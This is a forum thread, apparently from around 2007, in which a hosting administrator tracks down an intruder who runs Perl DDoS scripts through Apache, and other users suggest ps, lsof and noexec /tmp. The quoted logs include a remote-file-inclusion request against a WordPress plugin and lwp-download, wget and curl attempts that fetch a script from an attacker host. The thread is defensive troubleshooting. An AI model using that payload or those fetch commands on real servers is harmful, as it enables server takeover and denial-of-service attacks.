tracking site vulnerability

[hicom]

I've been trying to find the source to this problem for few weeks now. Somehow, an attacker is able to execute Perl script on the server through the Apache nobody user.

I have the latest stable cPanel version with mod_sec enabled and configured with hundreds of rules. However, it doesn't seem able to catch this attack.

I've renamed wget and curl to make it more difficult for the attacker to retrieve files remotely, but they still managed for a way around it.

What is annoying me the most is I can't seem to find out which site has the vulnerable script. I've searched /domlogs/ with the script file name, date but to no luck.

This is what I found in Apache error_log:

[Mon May 28 22:49:38 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml

wget: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

curl: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

[Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/images_pb/editor/sp

[Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml

You'll notice the attacker attempted running wget and curl but failed. Yet, the script was ran afterwards.

I tried doing grep ddos /usr/local/apache/logs/domlogs but didn't work. The site above has always tons of 404 errors so I don't believe that is the attacker. I still have examined its domlog file and nothing suspecious.

Doing grep for "curl" and "wget" is also fruitless. So where and how these attackers are able to execute these commands through Apache ?

The process would show something like:

57117 nobody 1 20 0 42684K 36752K sbwait 0 0:04 88.20% perl5.8.8

Tracking it down points to /tmp folder which has the status rw,noexec,nosuid

Any tips on how to track the vulnerable site being used to inject these scripts ?

[vanessa]

The easiest way to find out where the hack process is coming from is to first list all the nobody processes to get the PID:

ps -ef |grep nobody |more

It should be fairly obvious which processes are hacks, as they usually have a different parent processes -- or just look different in general. Once you determine the process ID(s), run an lsof to see where it is spawning from:

lsof -p 33333 |more

(replace 33333 with the process id) The first couple lines should show you where the process is spawning from. I've been able to track numerous hacks using this method.

[hicom]

Thanks. I've used that method before but unfortunately most these hack scripts run from /tmp . So doing ps will show something like "perl /tmp/.ddostool.pl" . This helps in shutting down the script but I need to track the source of the problem.

[jugo]

How about mounting your /tmp with noexec so that nothing can be executed from there. that will prevent most of your basic script kiddie attacks.

try running

./scripts/securetmp

Two great resources for this kind of stuff here:

http://www.webhostgear.com/34.html
http://www.eth0.us/tmp

[hicom]

Thanks, already /tmp secured to

/tmp folder which has the status rw,noexec,nosuid

However, this will not prevent scripts from executing like PHP , but it will stop somebody from executing C++ file.

This is why mod_sec is the best way to filter out this junk.

[dwykofka]

phpsuexec ?

[jrehmer]

Thanks. I've used that method before but unfortunately most these hack scripts run from /tmp . So doing ps will show something like "perl /tmp/.ddostool.pl" . This helps in shutting down the script but I need to track the source of the problem.

That's doing a general ps, you need to specifically look at all processes running as nobody. Find the associated httpd process and do an lsof on that process ID.

[hicom]

phpexec would be a solution to prevent this problem, but then breaking all these apps and losing customers because their apps don't work makes it not worth it.

I understand how to track where the script runs from. Doing lsof -p ID will only tell me the process is running from /tmp/.ddos.pl . This will not help in finding the vulnerable application that the hacker used to exploit.

I need to find out which application/site the hacker came through.....that is my problem.

[jrehmer]

phpexec would be a solution to prevent this problem, but then breaking all these apps and losing customers because their apps don't work makes it not worth it.

I understand how to track where the script runs from. Doing lsof -p ID will only tell me the process is running from /tmp/.ddos.pl . This will not help in finding the vulnerable application that the hacker used to exploit.

I need to find out which application/site the hacker came through.....that is my problem.

I don't think you quite understand... you need to be looking for the httpd process connected with this activity, we don't care about the perl process that's running we can easily track that down, but you must take the time and effort to find out what Apache (httpd) instance is calling perl.

[hicom]

I see what you mean. However, doing lsof -p ID will list huge amount of files open by Apache. But I never thought of searching for the process ID number from within this list.

I usually list the first few lines of the process before breaking since I know many of what comes after will be useless to track. like this:

COMMAND     PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
perl5.8.8 31208 nobody  cwd   VDIR       0,88       512      2 /
perl5.8.8 31208 nobody  rtd   VDIR       0,88       512      2 /
perl5.8.8 31208 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
perl5.8.8 31208 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
perl5.8.8 31208 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 31208 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
perl5.8.8 31208 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
perl5.8.8 31208 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
perl5.8.8 31208 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
perl5.8.8 31208 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 31208 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 31208 nobody    0r  VCHR        0,6       0t0      6 /dev/null
perl5.8.8 31208 nobody    1u  PIPE 0xc921fd78         0        ->0xc921fcc0
perl5.8.8 31208 nobody    2w  VREG       0,93   5025190 359908 /usr/local/apache/logs/error_log 

or like this one showing only the script running from /tmp/B0y:

COMMAND    PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
perl5.8.8 4336 nobody  cwd   VDIR       0,91       512  70656 /tmp/B0y
perl5.8.8 4336 nobody  rtd   VDIR       0,88       512      2 /
perl5.8.8 4336 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
perl5.8.8 4336 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
perl5.8.8 4336 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 4336 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
perl5.8.8 4336 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
perl5.8.8 4336 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
perl5.8.8 4336 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
perl5.8.8 4336 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 4336 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 4336 nobody    0r  VCHR        0,6       0t0      6 /dev/null
perl5.8.8 4336 nobody    1u  PIPE 0xcc240a48         0        ->0xcc240990
perl5.8.8 4336 nobody    2w  VREG       0,93  15862706 358441 /usr/local/apache/logs/error_log

[hicom]

Ok, tracked the son of a #$#$ . After disabling wget, curl and fetch he used lwp-download to grab the script.

I found the vulnerable script as well:

88.84.133.139 - - [01/Jun/2007:11:04:59 -0400] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 200 743 "-" "libwww-perl/5.803"

[Fri Jun  1 11:04:59 2007] [error] PHP Fatal error:  Call to undefined function:  get_settings() in /home/username/public_html/wp-content/plugins/wordtube/wordtube-button.php on line 26

Unfortunately, all modsec rules didn't protect against such attack!

PID  TT  STAT      TIME COMMAND
92481  ??  S      0:00.14 /usr/local/bin/perl -w /usr/local/bin/lwp-download http://alienr0x.by.ru/.ddos.pl

===========

ERROR_LOG:

fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory
wget: Permission denied
Can't open perl script ".ddos.pl": No such file or directory
curl: Permission denied
Can't open perl script ".ddos.pl": No such file or directory

fetch: Permission denied
GET: not found
Can't open perl script ".ddos.pl": No such file or directory

lsof -p was useless in this case except to tell what port the script was using:

COMMAND     PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
perl5.8.8 86004 nobody  cwd   VDIR       0,88       512      2 /
perl5.8.8 86004 nobody  rtd   VDIR       0,88       512      2 /
perl5.8.8 86004 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
perl5.8.8 86004 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
perl5.8.8 86004 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
perl5.8.8 86004 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
perl5.8.8 86004 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
perl5.8.8 86004 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
perl5.8.8 86004 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
perl5.8.8 86004 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
perl5.8.8 86004 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
perl5.8.8 86004 nobody    0r  VCHR        0,6       0t0      6 /dev/null
perl5.8.8 86004 nobody    1u  PIPE 0xc9ddf3e8         0        ->0xc9ddf330
perl5.8.8 86004 nobody    2w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log
perl5.8.8 86004 nobody    3u  IPv4 0xc8958910       0t0    TCP our.server.name.com:63021->206.81.62-30.spansurf.net:60000
perl5.8.8 86004 nobody    4u  VREG       0,91         0    119 /tmp (/dev/aacd0s1d)
perl5.8.8 86004 nobody   15w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody   16w  VREG       0,93         0 362171 /usr/local/apache/logs/modsec_debug_log
perl5.8.8 86004 nobody   17w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
perl5.8.8 86004 nobody   18w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log

Doing ps -waux should

nobody    86004 84.1  0.1  4792  4204  ??  R    10:38AM  22:51.66 /usr/sbin/httpd (perl5.8.8)

Which is defnitely faked